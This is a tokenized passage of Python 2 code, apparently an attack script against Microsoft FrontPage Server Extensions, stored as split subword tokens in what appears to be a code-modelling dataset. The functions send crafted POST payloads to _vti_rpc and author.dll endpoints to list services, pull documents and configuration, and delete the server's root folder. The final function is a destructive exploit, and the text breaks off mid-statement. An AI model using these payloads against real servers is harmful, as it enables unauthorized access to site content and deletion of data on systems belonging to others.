"-]", " ", "url", " ", "error", " ", "!", " ", "-", " ", "%", "s", "\"_", "%_", "e_", "._", "code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "httplib_", "._", "Ba", "d", "Status", "Line_", "as_", "h_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "-]", " ", "server", " ", "respond", "s", " ", "with", " ", "bad", " ", "status", " ", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "\"[", "+]", " ", "Sen", "ding", " ", "HTTP", " ", "POST", " ", "request", " ", "to", " ", "retrieve", " ", "software", " ", "version", " ", "-", " ", "(%", "s", ")\"_", "%_", "destination_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "req_", "=_", "urllib2_", "._", "Request_", "(_", "destination_", ",_", "data_", ",_", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "urllib2_", "._", "urlopen_", "(_", "req_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "response_", "._", "getco", "de_", "(_", ")_", "==_", "200_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "+]", " ", "target", " ", "accepts", " ", "the", " ", "request", " ", "-", " ", "(%", "s", ")", " ", "|", " ", "(%", "s", ")", " ", "!\\\\", "n", "\"_", "%_", "(_", "data_", ",_", "response_", "._", "getco", "de_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "filename_", "=_", "\"\\u\\u", "version", "\\u\\u", ".", "txt", "\"_", "+_", "\".", "html", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "version_", "=_", "open_", "(_", "filename_", ",_", "'", "a", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "version_", "._", "write_", "(_", "response_", "._", "read_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "check", " ", "file", " ", "for", " ", "content", "s", " ", "-", " ", "(%", "s", ")", " ", "\\\\", "n", "\"_", "%_", "filename_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "-]", " ", "target", " ", "fail", "s", " ", "to", " ", "accept", " ", "request", " ", "-", " ", "(%", "s", ")", " ", "|", " ", "(%", "s", ")", " ", "!\\\\", "n", "\"_", "%_", "(_", "data_", ",_", "response_", "._", "getco", "de_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "urllib2_", "._", "URL", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "-]", " ", "url", " ", "error", ",", " ", "see", "ms", " ", "like", " ", "authenticat", "ion", " ", "is", " ", "require", "d", " ", "or", " ", "server", " ", "fail", "ed", " ", "to", " ", "handle", " ", "request", "!", " ", "-", " ", "-", " ", "%", "s", "\"_", "%_", "e_", "._", "code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "httplib_", "._", "Ba", "d", "Status", "Line_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "-]", " ", "server", " ", "respond", "s", " ", "with", " ", "bad", " ", "status", " ", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "\"[", "*]", " ", "--------------", "--------------", "--------------", "--------------", "--------------", "--------------", "---\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "front", "page", "\\u", "service", "\\u", "listing_", "(_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "headers_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "MIME", "-", "Version", "'_", ":_", "'", "4.0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "User", "-", "Agent", "'_", ":_", "'", "MS", "Front", "Page", "/", "4.0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "X", "-", "Ver", "mee", "r", "-", "Conten", "t", "-", "Type", "'_", ":_", "'", "applica", "tion", "/", "x", "-", "www", "-", "form", "-", "url", "encode", "d", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Connect", "ion", "'_", ":_", "'", "Keep", "-", "Ali", "ve", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "service", "\\u", "target", "\\u", "list_", "=_", "[_", "'\\u", "vt", "i", "\\u", "bin", "/", "sht", "ml", ".", "exe", "/\\u", "vt", "i", "\\u", "rpc", "'_", ",_", "'\\u", "vt", "i", "\\u", "bin", "/", "sht", "ml", ".", "dll", "/\\u", "vt", "i", "\\u", "rpc", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "[_", "'", "method", "=", "list", "+", "service", "s", ":", "3.0", ".2", ".1", "076", "&", "service", "\\u", "name", "='_", ",_", "'", "method", "=", "list", "+", "service", "s", ":", "4.0", ".2", ".4", "7", "1", "&", "service", "\\u", "name", "='_", ",_", "'", "method", "=", "list", "+", "service", "s", ":", "4.0", ".2", ".0000", "&", "service", "\\u", "name", "='_", ",_", "'", "method", "=", "list", "+", "service", "s", ":", "5.0", ".2", ".4", "803", "&", "service", "\\u", "name", "='_", ",_", "'", "method", "=", "list", "+", "service", "s", ":", "5.0", ".2", ".2", "623", "&", "service", "\\u", "name", "='_", ",_", "'", "method", "=", "list", "+", "service", "s", ":", "6.0", ".2", ".5", "420", "&", "service", "\\u", "name", "='_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "item_", "in_", "service", "\\u", "target", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "destination_", "=_", "name_", "+_", "\"/\"_", "+_", "item_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "\"[", "+]", " ", "Sen", "ding", " ", "HTTP", " ", "POST", " ", "request", " ", "to", " ", "retrieve", " ", "service", " ", "listi", "ng", " ", " ", "-", " ", "(%", "s", ")\"_", "%_", "destination_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "entry_", "in_", "data_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "req_", "=_", "urllib2_", "._", "Request_", "(_", "destination_", ",_", "entry_", ",_", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "urllib2_", "._", "urlopen_", "(_", "req_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "response_", "._", "getco", "de_", "(_", ")_", "==_", "200_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "+]", " ", "target", " ", "accepts", " ", "the", " ", "request", " ", "-", " ", "(%", "s", ")", " ", "|", " ", "(%", "s", ")", " ", "!\"_", "%_", "(_", "entry_", ",_", "response_", "._", "getco", "de_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "filename_", "=_", "\"\\u\\u", "service", "-", "list", "\\u\\u", ".", "txt", "\"_", "+_", "entry_", "+_", "\".", "html", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "service", "\\u", "list_", "=_", "open_", "(_", "filename_", ",_", "'", "a", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "service", "\\u", "list_", "._", "write_", "(_", "response_", "._", "read_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "check", " ", "file", " ", "for", " ", "content", "s", " ", "-", " ", "(%", "s", ")", " ", "\\\\", "n", "\"_", "%_", "filename_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "-]", " ", "target", " ", "fail", "s", " ", "to", " ", "accept", " ", "request", " ", "-", " ", "(%", "s", ")", " ", "|", " ", "(%", "s", ")", " ", "!\\\\", "n", "\"_", "%_", "(_", "data_", ",_", "response_", "._", "getco", "de_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "urllib2_", "._", "URL", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "-]", " ", "url", " ", "error", ",", " ", "see", "ms", " ", "like", " ", "authenticat", "ion", " ", "is", " ", "require", "d", " ", "or", " ", "server", " ", "fail", "ed", " ", "to", " ", "handle", " ", "request", "!", " ", "-", " ", "-", " ", "%", "s", "\"_", "%_", "e_", "._", "code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "httplib_", "._", "Ba", "d", "Status", "Line_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "-]", " ", "server", " ", "respond", "s", " ", "with", " ", "bad", " ", "status", " ", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "\"[", "*]", " ", "--------------", "--------------", "--------------", "--------------", "--------------", "--------------", "---\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "front", "page", "\\u", "config", "\\u", "check_", "(_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "headers_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "MIME", "-", "Version", "'_", ":_", "'", "4.0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "User", "-", "Agent", "'_", ":_", "'", "MS", "Front", "Page", "/", "4.0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "X", "-", "Ver", "mee", "r", "-", "Conten", "t", "-", "Type", "'_", ":_", "'", "applica", "tion", "/", "x", "-", "www", "-", "form", "-", "url", "encode", "d", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Connect", "ion", "'_", ":_", "'", "Keep", "-", "Ali", "ve", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "runn", "ing", " ", "some", " ", "standard", " ", "command", "s", " ", "to", " ", "retrieve", " ", "files", " ", "and", " ", "configura", "tion", " ", "checks_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "front", "page", " ", "version", "s", " ", "validat", "ed", " ", "are", ":", " ", "3.0", ".2", ".1", "706", " ", ",", " ", "4.0", ".2", ".4", "715", " ", ",", " ", "5.0", ".2", ".4", "803", ",", " ", "5.0", ".2", ".2", "623", " ", ",", " ", "6.0", ".2", ".5", "420_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "version", " ", ":", " ", "major", " ", "ver", "=", "n", ".", "mino", "r", " ", "ver", "=", "n", ".", "phase", " ", "ver", "=", "n", ".", "veri", "ncr", "=", "v_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "front", "\\u", "exp", "\\u", "target_", "=_", "'\\u", "vt", "i", "\\u", "bin", "/\\u", "vt", "i", "\\u", "aut", "/", "author", ".", "dll", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "payloads_", "=_", "[_", "'", "method", "=", "open", " ", "service", ":", "3.0", ".2", ".1", "706", "&", "service", "\\u", "name", "=", "/'_", ",_", "'", "method", "=", "list", " ", "document", "s", ":", "3.0", ".2", ".1", "706", "&", "service", "\\u", "name", "=", "&", "list", "Hi", "dde", "n", "Docs", "=", "fal", "se", "&", "list", "Explorer", "Docs", "=", "fal", "se", "&", "list", "Recurs", "e", "=", "fal", "se", "&", "list", "Files", "=", "true", "&", "list", "Folders", "=", "true", "&", "list", "Link", "Info", "=", "fal", "se", "&", "list", "Include", "Parent", "=", "true", "&", "list", "Derive", "d", "T", "=", "fal", "se", "&", "list", "Border", "s", "=", "fal", "se", "&", "initial", "Ur", "l", "='_", ",_", "'", "method", "=", "getd", "ocu", "ment", ":", "3.0", ".2", ".1", "105", "&", "service", "\\u", "name", "=", "&", "document", "\\u", "name", "=", "abo", "ut", "/", "default", ".", "ht", "m", "&", "old", "\\u", "them", "e\\u", "html", "=", "fal", "se", "&", "force", "=", "true", "&", "get", "\\u", "option", "=", "none", "&", "doc", "\\u", "version", "='_", ",_", "'", "method", "=", "open", " ", "service", ":", "4.0", ".2", ".4", "715", "&", "service", "\\u", "name", "=", "/'_", ",_", "'", "method", "=", "list", " ", "document", "s", ":", "4.0", ".2", ".4", "715", "&", "service", "\\u", "name", "=", "&", "list", "Hi", "dde", "n", "Docs", "=", "fal", "se", "&", "list", "Explorer", "Docs", "=", "fal", "se", "&", "list", "Recurs", "e", "=", "fal", "se", "&", "list", "Files", "=", "true", "&", "list", "Folders", "=", "true", "&", "list", "Link", "Info", "=", "fal", "se", "&", "list", "Include", "Parent", "=", "true", "&", "list", "Derive", "d", "T", "=", "fal", "se", "&", "list", "Border", "s", "=", "fal", "se", "&", "initial", "Ur", "l", "='_", ",_", "'", "method", "=", "getd", "ocu", "ment", ":", "4.0", ".2", ".4", "715", "&", "service", "\\u", "name", "=", "&", "document", "\\u", "name", "=", "abo", "ut", "/", "default", ".", "ht", "m", "&", "old", "\\u", "them", "e\\u", "html", "=", "fal", "se", "&", "force", "=", "true", "&", "get", "\\u", "option", "=", "none", "&", "doc", "\\u", "version", "='_", ",_", "'", "method", "=", "open", " ", "service", ":", "5.0", ".2", ".4", "803", "&", "service", "\\u", "name", "=", "/'_", ",_", "'", "method", "=", "list", " ", "document", "s", ":", "5.0", ".2", ".4", "803", "&", "service", "\\u", "name", "=", "&", "list", "Hi", "dde", "n", "Docs", "=", "fal", "se", "&", "list", "Explorer", "Docs", "=", "fal", "se", "&", "list", "Recurs", "e", "=", "fal", "se", "&", "list", "Files", "=", "true", "&", "list", "Folders", "=", "true", "&", "list", "Link", "Info", "=", "fal", "se", "&", "list", "Include", "Parent", "=", "true", "&", "list", "Derive", "d", "T", "=", "fal", "se", "&", "list", "Border", "s", "=", "fal", "se", "&", "initial", "Ur", "l", "='_", ",_", "'", "method", "=", "getd", "ocu", "ment", ":", "5.0", ".2", ".4", "803", "&", "service", "\\u", "name", "=", "&", "document", "\\u", "name", "=", "abo", "ut", "/", "default", ".", "ht", "m", "&", "old", "\\u", "them", "e\\u", "html", "=", "fal", "se", "&", "force", "=", "true", "&", "get", "\\u", "option", "=", "none", "&", "doc", "\\u", "version", "='_", ",_", "'", "method", "=", "open", " ", "service", ":", "5.0", ".2", ".2", "623", "&", "service", "\\u", "name", "=", "/'_", ",_", "'", "method", "=", "list", " ", "document", "s", ":", "5.0", ".2", ".2", "623", "&", "service", "\\u", "name", "=", "&", "list", "Hi", "dde", "n", "Docs", "=", "fal", "se", "&", "list", "Explorer", "Docs", "=", "fal", "se", "&", "list", "Recurs", "e", "=", "fal", "se", "&", "list", "Files", "=", "true", "&", "list", "Folders", "=", "true", "&", "list", "Link", "Info", "=", "fal", "se", "&", "list", "Include", "Parent", "=", "true", "&", "list", "Derive", "d", "T", "=", "fal", "se", "&", "list", "Border", "s", "=", "fal", "se", "&", "initial", "Ur", "l", "='_", ",_", "'", "method", "=", "getd", "ocu", "ment", ":", "5.0", ".2", ".2", "623", "&", "service", "\\u", "name", "=", "&", "document", "\\u", "name", "=", "abo", "ut", "/", "default", ".", "ht", "m", "&", "old", "\\u", "them", "e\\u", "html", "=", "fal", "se", "&", "force", "=", "true", "&", "get", "\\u", "option", "=", "none", "&", "doc", "\\u", "version", "='_", ",_", "'", "method", "=", "open", " ", "service", ":", "6.0", ".2", ".5", "420", "&", "service", "\\u", "name", "=", "/'_", ",_", "'", "method", "=", "list", " ", "document", "s", ":", "6.0", ".2", ".5", "420", "&", "service", "\\u", "name", "=", "&", "list", "Hi", "dde", "n", "Docs", "=", "fal", "se", "&", "list", "Explorer", "Docs", "=", "fal", "se", "&", "list", "Recurs", "e", "=", "fal", "se", "&", "list", "Files", "=", "true", "&", "list", "Folders", "=", "true", "&", "list", "Link", "Info", "=", "fal", "se", "&", "list", "Include", "Parent", "=", "true", "&", "list", "Derive", "d", "T", "=", "fal", "se", "&", "list", "Border", "s", "=", "fal", "se", "&", "initial", "Ur", "l", "='_", ",_", "'", "method", "=", "getd", "ocu", "ment", ":", "6.0", ".2", ".5", "420", "&", "service", "\\u", "name", "=", "&", "document", "\\u", "name", "=", "abo", "ut", "/", "default", ".", "ht", "m", "&", "old", "\\u", "them", "e\\u", "html", "=", "fal", "se", "&", "force", "=", "true", "&", "get", "\\u", "option", "=", "none", "&", "doc", "\\u", "version", "='_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "item_", "in_", "payloads_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "destination_", "=_", "name_", "+_", "\"/\"_", "+_", "front", "\\u", "exp", "\\u", "target_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "Sen", "ding", " ", "HTTP", " ", "POST", " ", "request", " ", "to", " ", "[", "open", " ", "service", " ", "|", " ", "listi", "ng", " ", "document", "s", "]", " ", "-", " ", "(%", "s", ")\"_", "%_", "destination_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "req_", "=_", "urllib2_", "._", "Request_", "(_", "destination_", ",_", "item_", ",_", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "urllib2_", "._", "urlopen_", "(_", "req_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "response_", "._", "getco", "de_", "(_", ")_", "==_", "200_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "+]", " ", "target", " ", "accepts", " ", "the", " ", "request", " ", "-", " ", "(%", "s", ")", " ", "|", " ", "(%", "s", ")", " ", "!\\\\", "n", "\"_", "%_", "(_", "item_", ",_", "response_", "._", "getco", "de_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "filename_", "=_", "\"\\u\\u", "author", "-", "dll", "-", "config", "\\u\\u", ".", "txt", "\"_", "+_", "\".", "html", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "service", "\\u", "list_", "=_", "open_", "(_", "filename_", ",_", "'", "a", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "service", "\\u", "list_", "._", "write_", "(_", "response_", "._", "read_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "check", " ", "file", " ", "for", " ", "content", "s", " ", "-", " ", "(%", "s", ")", " ", "\\\\", "n", "\"_", "%_", "filename_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "-]", " ", "target", " ", "fail", "s", " ", "to", " ", "accept", " ", "request", " ", "-", " ", "(%", "s", ")", " ", "|", " ", "(%", "s", ")", " ", "!\\\\", "n", "\"_", "%_", "(_", "item_", ",_", "response_", "._", "getco", "de_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "urllib2_", "._", "URL", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "-]", " ", "url", " ", "error", ",", " ", "see", "ms", " ", "like", " ", "authenticat", "ion", " ", "is", " ", "require", "d", " ", "or", " ", "server", " ", "fail", "ed", " ", "to", " ", "handle", " ", "request", "!", " ", "-", " ", "%", "s", " ", "\\\\", "n", "[-]", " ", "payload", " ", "[", "%", "s", "]\\\\", "n", "\"_", "%_", "(_", "e_", "._", "code_", ",_", "item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "httplib_", "._", "Ba", "d", "Status", "Line_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "-]", " ", "server", " ", "respond", "s", " ", "with", " ", "bad", " ", "status", " ", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "front", "page", "\\u", "remove", "\\u", "folder_", "(_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "headers_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "MIME", "-", "Version", "'_", ":_", "'", "4.0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "User", "-", "Agent", "'_", ":_", "'", "MS", "Front", "Page", "/", "4.0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "X", "-", "Ver", "mee", "r", "-", "Conten", "t", "-", "Type", "'_", ":_", "'", "applica", "tion", "/", "x", "-", "www", "-", "form", "-", "url", "encode", "d", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Connect", "ion", "'_", ":_", "'", "Keep", "-", "Ali", "ve", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "runn", "ing", " ", "some", " ", "standard", " ", "command", "s", " ", "to", " ", "remove", " ", "\"/", "\"", " ", "folder", " ", "from", " ", "the", " ", "web", " ", "server", " ", "usi", "ng", " ", "author", ".", "dll_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "front", "page", " ", "version", "s", " ", "validat", "ed", " ", "are", ":", " ", "3.0", ".2", ".1", "706", " ", ",", " ", "4.0", ".2", ".4", "715", " ", ",", " ", "5.0", ".2", ".4", "803", ",", " ", "5.0", ".2", ".2", "623", " ", ",", " ", "6.0", ".2", ".5", "420_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "file", "\\u", "exp", "\\u", "target_", "=_", "'\\u", "vt", "i", "\\u", "bin", "/\\u", "vt", "i", "\\u", "aut", "/", "author", ".", "dll", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "payloads_", "=_", "[_", "'", "method", "=", "remove", "+", "document", "s", ":", "3.0", ".2", ".1", "786", "&", "service", "\\u", "name", "=", "/'_", ",_", "'", "method", "=", "remove", "+", "document", "s", ":", "4.0", ".2", ".4", "715", "&", "service", "\\u", "name", "=", "/'_", ",_", "'", "method", "=", "remove", "+", "document", "s", ":", "5.0", ".3", ".4", "803", "&", "service", "\\u", "name", "=", "/'_", ",_", "'", "method", "=", "remove", "+", "document", "s", ":", "5.0", ".2", ".4", "803", "&", "service", "\\u", "name", "=", "/'_", ",_", "'", "method", "=", "remove", "+", "document", "s", ":", "6.0", ".2", ".5", "420", "&", "service", "\\u", "name", "=", "/'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "item_", "in_", "payloads_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "destination_", "=_", "name_", "+_", "\"/\"_", "+_", "file", "\\u", "exp", "\\u", "target_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "Sen", "ding", " ", "HTTP", " ", "POST", " ", "request", " ", "to", " ", "remove", " ", "'/'", " ", "director", "y", " ", "to", " ", "-", " ", "(%", "s", ")\"_", "%_", "destination_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "req_", "=_", "urllib2_", "._", "Request_", "(_", "destination_", ",_", "item_", ",_", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "urllib2_", "._", "urlopen_", "(_", "req_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "response_", "._", "getco", "de_", "(_", ")_", "==_", "200_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "+]", " ", "folder", " ", "remove", "d", " ", "success", "full", "y", " ", "-", " ", "(%", "s", ")", " ", "|", " ", "(%", "s", ")", " ", "!\\\\", "n", "\"_", "%_", "(_", "item_", ",_", "response_", "._", "getco", "de_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "line_", "in_", "response_", "._", "readlines_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " ", " _", "print_", "line_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "-]", " ", "fail", "s", " ", "to", " ", "remove", " ", "'/'", " ", "folder", " ", "at", " ", " ", "-", " ", "(%", "s", ")", " ", "|", " ", "(%", "s", ")", " ", "!\\\\", "n", "\"_", "%_", "(_", "item_", ",_", "response_", "._", "getco", "de_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "urllib2_", "._", "URL", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "-]", " ", "url", " ", "error", ",", " ", "see", "ms", " ", "like", " ", "authenticat", "ion", " ", "is", " ", "require", "d", " ", "or", " ", "server", " ", "fail", "ed", " ", "to", " ", "handle", " ", "request", "!", " ", "-", " ", "%", "s", " ", "\\\\", "n", 